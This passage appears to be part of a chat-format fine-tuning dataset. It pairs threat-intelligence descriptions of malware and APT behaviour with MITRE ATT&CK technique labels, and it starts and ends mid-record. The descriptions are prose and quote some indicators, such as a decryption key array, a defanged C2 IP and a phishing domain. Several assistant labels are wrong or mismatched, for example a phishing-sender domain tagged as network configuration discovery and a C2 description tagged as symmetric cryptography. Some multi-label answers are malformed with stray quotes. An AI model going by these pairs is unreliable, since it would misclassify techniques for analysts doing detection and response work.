                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CrowdStrike also identified a connection between StellarParticle-related campaigns and the abuse of Microsoft Cloud Solution Partners’ O365 tenants. This threat actor abused access to accounts in the Cloud Solution Partner’s environment with legitimate delegated administrative privileges to then gain access to several customers’ O365 environments"
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors used a variety of public exploits, including CVE 2020-0688 and CVE 2020-17144 to gain privileged remote code execution on vulnerable Microsoft Exchange servers. In some cases, this exploitation occurred after valid credentials were identified by password spray, as these vulnerabilities require authentication as a valid user."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "runs the net view /domain and net view commands."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the ability to upload and download files from its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of logging keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kasidet has the ability to initiate keylogging and screen captures."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Much like the original payload, this tool uses if/else statements to skip the legitimate code in the Saransh Email System source to run the malicious functions, which have the same method names as the original tool and follow the same call sequence:  Form1.Speed Form1.diomadnfagaghagh Form1.fjcsERIfjfiojsGHIsdifjksi Form1.gsgjIDJIGJIGJIGJIFDOSpl Form1.FJaioefgkaoeK  This chain of functions eventually loads a resource named ‘GSrdofjksrgj’, which the tool decrypts using the same algorithm and key as in the initial payload:byte[] array4 = new byte[] {     19,     129,     43,     37,     56,     65,     255,     75,     111,     19,     211,     120,     0,     49,     126,     248 };The decrypted payload has a SHA256 hash of 5e805a88294f6d25d55103d19d13e798e01ad70e6b89e9c58db5d468cc63b3d5, which is a variant of the NanoCore remote administration tool"
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SideCopy uses a loader DLL file to collect AV product names from an infected host."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used the Plink utility and other tools to create tunnels to C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zeus Panda decrypts strings in the code during the execution process."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSX_OCEANLOTUS.D has a variant that is packed with UPX."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JSS Loader can download and execute JavaScript files."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windigo has used a script to check for the presence of files created by OpenSSH backdoors."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silence has sent emails with malicious DOCX, CHM, LNK and ZIP attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KeyBoy uses Python scripts for installing files and performing execution."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "There are three types of URLs present in the decrypted configuration. The first type of URL listed in the configuration data is used for the plain HTTP (that is, non-Tor) communication with C&amp;C servers. The bot reports to the C&amp;C server using the typical request pattern: for example, the initial checkin to the C&amp;C server is in the form of: cfg_url + “/images/” + encoded_data + (.jpeg||.gif||.bmp"
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QAKBOT uses obfuscation across two script files, a JavaScript (.js) file and a Batch Script (.cmd) file, likely in an effort to conceal suspicious-looking command lines. "
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1059.007 - Command and Scripting Interpreter: JavaScript', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors used the netstat command to display TCP connections, prevent hostname determination of foreign IP addresses, and specify the protocol for TCP."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Orz can gather victim drive information."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "H1N1 bypasses user access control by using a DLL hijacking vulnerability in the Windows Update Standalone Installer (wusa.exe)."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In addition, the threat actors created a scheduled task named reset, which was designed to automatically log out of their newly created account every eight hours"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAWKBALL has downloaded additional files from the C2."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hooking module – hooks a hardcoded set of WinAPI and (if they exist) Mozilla DLL Hooking is used to perform web injects, sniff traffic and keyboard data and even prevent DNS resolution of certain domains. Hooking works in the following way: QakBot injects a hooking module into the appropriate process, the module finds functions from the hardcoded set and modifies the functions so they jump to custom code"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The developer rewrote a large part of the code however the workflow is the same as previously and some features are copy/paste. The biggest change is the network communication with the C2 server. The malware does not use a raw socket anymore but all the communications are performed with WinInet. The malware performs connection to the C2 server by using InternetOpenA() with an hardcoded User-Agent: \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322\". Note the missing parenthesis at the end of the User-Agent. This variant has exactly the same features as the previous variant: file listing, OS version getting, process killing, drive listing, execution via ShellExecuteW(), execution via named pipe, cleaning, file removal, file downloading. Here is an example of code similarities on the execution via named pipe function. On the left a sample from Bisonal 2014 and on the right Bisonal 2011. The code is not exactly the same but the workflow and some constants are similar"
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GALLIUM used WMI for execution to assist in lateral movement as well as for installing tools across multiple assets."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KillDisk registers as a service under the Plug-And-Play Support name."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Here is an example of the result of ps ax on an infected system:       $ ps ax[...] 566 ?? Ss 0:00.01 /usr/libexec/icloudsyncd -launchd netlogon.bundle[...]     Figure 8: Result of ps ax on an infected system Keychain stealing The OSX/Keydnap backdoor is equipped with a mechanism to gather and exfiltrate passwords and keys stored in OS X’s keychain"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In April 2018 we discovered a new Octopus sample pretending to be Telegram Messenger with a Russian interface. We couldn´t find any legitimate software that this malware appears to be impersonating; in fact, we don´t believe it exists. Kaspersky Lab products detect the Octopus Trojan as Trojan.Win32.Octopus.gen"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A version of XTunnel introduced in July 2015 inserted junk code into the binary in a likely attempt to obfuscate it and bypass security products."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "master boot record wiper"
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "will inject itself into different processes to evade detection. The selection of the target process is influenced by the security software that is installed on the system (Duqu will inject into different processes depending on which security suite is installed on the infected host)."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Scheduled Task. LockBit 2.0 can be executed via scheduled tasks."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERSTATS can retrieve IP, network adapter configuration information, and domain from compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot uses HTTPS to communicate with its C2 servers, to get malware updates, modules that perform most of the malware logic and various configuration files."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "fprii.net 185.130.212.254 Domain used for spear phish sender e-mail address and to host malicious documents"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It can download and execute arbitrary code provided from the C&amp;C server, as well as maintain a virtual file system (VFS) inside the registry. The VFS, and any additional files created by the code, are encrypted and stored in a location unique to each victim"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Skidmap has checked for the existence of specific files including \"/usr/sbin/setenforce\" and \" /etc/selinux/config\". It also has the ability to monitor the cryptocurrency miner file and process."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "executes payloads using the Windows API call CreateProcessW()."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used the PowerShell filenames Office365DCOMCheck.ps1 and SystemDiskClean.ps1."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates then deletes log files during installation of itself as a service."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spreadsheets and documents with customer lists, investments and trading operations - Internal presentations - Software licenses and credentials for trading software/platforms - Cookies and session information from browsers - Email credentials - Customer credit card information and proof of address/identity documents"
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The PowerShell command executed after the Microsoft Exchange exploitation is responsible for downloading and executing another PowerShell script from the command-and-control (C&C) server 185[.]82[.]219[.]201"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1064 - Scripting', 'T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crimson contains commands to list files and directories, as well as search for files matching certain extensions from a defined list."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNBURST collected information from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CSPY Downloader has come signed with revoked certificates."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy can upload and download to/from a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to upload to its C2 server victim mobile device information, including IMEI, IMSI, SIM card serial number, phone number, Android version, and other information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay can collect Microsoft Word documents from the target's file system, as well as \".txt\", \".doc\", and \".xls\" files from the Internet Explorer cache."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AuditCred can inject code from files to other running processes."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The macro then creates a scheduled task named SecurityAssist that runs after waiting one minute. OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. hex(Environment.UserName/Environment.MachineName)&gt; The Trojan will issue a request to this URL to check (hence the chk string in the URL) to see if the C2 server has a command for the Trojan to run. If the C2 server does not respond with the appropriate echoed data, the Trojan will create a file named srvCheckresponded.tmp in the SpecialFolder.CommonApplicationData folder and write nothing to it before exiting. If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what commands the C2 wishes to run by issuing a request to the following URL: http://&lt;c2 domain&gt;/what"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT33 has used HTTP for command and control."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has removed a targeted organization's global admin accounts to lock the organization out of all access."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The JHUHUGIT dropper can delete itself from the victim. Another JHUHUGIT variant has the capability to delete specified files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla can add itself to the Registry as a startup program to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects a unique identifier (UID) from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Perhaps the most interesting part here is the unusual command and control mechanism based on TCP/UDP packets, as well as the C&amp;C hostname which fits previously known Turla activity"
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "scans processes on all victim systems in the environment and uses automated scripts to pull back the results."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting', 'T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has used PowerShell for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Night Dragon has used several remote administration tools as persistent infiltration channels."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windshift has used malware to identify installed software."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Saint Bot has been distributed through malicious links contained within spearphishing emails."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware used by  is capable of remotely deleting files from victims."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CORESHELL C2 messages are encrypted with custom stream ciphers using six-byte or eight-byte keys."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Azorult can collect a list of running processes by calling CreateToolhelp32Snapshot."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WINERACK can enumerate active windows."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Russian state-sponsored APT actors have exfiltrated credentials and exported copies of the Active Directory database ntds.dit."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "may collect information about the system by running hostname and systeminfo on a victim."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BoxCaon can execute arbitrary commands and utilize the \"ComSpec\" environment variable."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT sent username, computer name, and the previously generated UUID in reply to a \"who\" command from C2."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has used the command-line interface."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
